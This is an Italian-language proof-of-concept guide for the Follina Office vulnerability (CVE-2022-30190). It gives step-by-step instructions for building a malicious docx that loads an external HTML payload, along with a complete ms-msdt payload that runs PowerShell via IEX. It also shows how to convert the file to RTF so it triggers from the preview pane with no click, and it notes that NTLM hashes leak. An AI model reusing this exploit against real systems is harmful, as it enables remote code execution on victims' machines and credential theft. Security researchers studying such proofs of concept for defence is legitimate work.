
POC CVE-2022-30190 : CVE 0-day MS Offic RCE noto anche come msdt follina
Info : Nuova vulnerabilità zero-day di Microsoft Office usata in attacchi per eseguire PowerShell
Il 29 maggio 2022, il team Nao_Sec, un team indipendente di ricerca sulla sicurezza informatica, ha scoperto un documento Office dannoso condiviso su Virustotal. Questo documento utilizza uno schema insolito, ma noto, per infettare le vittime. Lo schema non è stato rilevato come dannoso da alcuni EDR, come Microsoft Defender for Endpoint. Questa vulnerabilità potrebbe portare all'esecuzione di codice senza la necessità di interazione da parte dell'utente, poiché non coinvolge macro, tranne se è abilitata la modalità Protected View. Non è ancora stato attribuito alcun numero CVE.
La vulnerabilità viene sfruttata utilizzando lo schema URI MSProtocol per caricare del codice. Gli attaccanti potrebbero incorporare collegamenti dannosi all'interno di documenti Microsoft Office, modelli o email che iniziano con ms-msdt: che verranno caricati ed eseguiti successivamente senza interazione da parte dell'utente, tranne se è abilitata la modalità Protected View. Tuttavia, convertire il documento nel formato RTF potrebbe anche bypassare la funzionalità Protected View.
I file docx di MS Office possono contenere riferimenti a oggetti OLE esterni come file HTML. Esiste uno schema HTML "ms-msdt:" che richiama lo strumento di diagnostica msdt, in grado di eseguire codice arbitrario (specificato nei parametri).
Il risultato è un vettore d'attacco terrificante per ottenere RCE tramite l'apertura di file docx dannosi (senza usare macro).
Ecco i passaggi per creare un docx Proof-of-Concept:
Apri Word (usando la versione aggiornata 2019 Pro, 16.0.10386.20017), crea un documento fittizio, inserisci un oggetto (OLE) (come immagine bitmap), salvalo in docx.
Modifica word/_rels/document.xml.rels nella struttura del file docx (è un semplice zip). Modifica il tag XML <Relationship> con l'attributo
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
e Target="embeddings/oleObject1.bin" modificando il valore Target e aggiungendo l'attributo TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Nota il valore Id (probabilmente è "rId5").
word/document.xml. Cerca il tag <o:OLEObject ..> (con r:id="rId5") e cambia l'attributo da Type="Embed" a Type="Link" e aggiungi l'attributo UpdateMode="OnCall".NOTA: Il docx dannoso creato è quasi lo stesso di quello per CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Nota che:
Inoltre, il payload di innesco può raggiungere posizioni remote. Sebbene sia improbabile che invochi un binario non attendibile, la connessione trasporterà comunque hash NTLM (il che significa che i malintenzionati ora hanno un hash della password Windows della vittima) che potrebbero essere usati da un avversario per ulteriori attività post-sfruttamento.
Se aggiungi anche questi elementi sotto l'elemento <o:OLEObject> in word/document.xml al passo 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
allora funzionerà anche come RTF (apri il docx risultante e salvalo come RTF).
Con RTF, non è necessario aprire il file in Word, basta sfogliare il file e guardarlo in un riquadro di anteprima. Il riquadro di anteprima attiva il payload HTML esterno e RCE avviene senza alcun clic.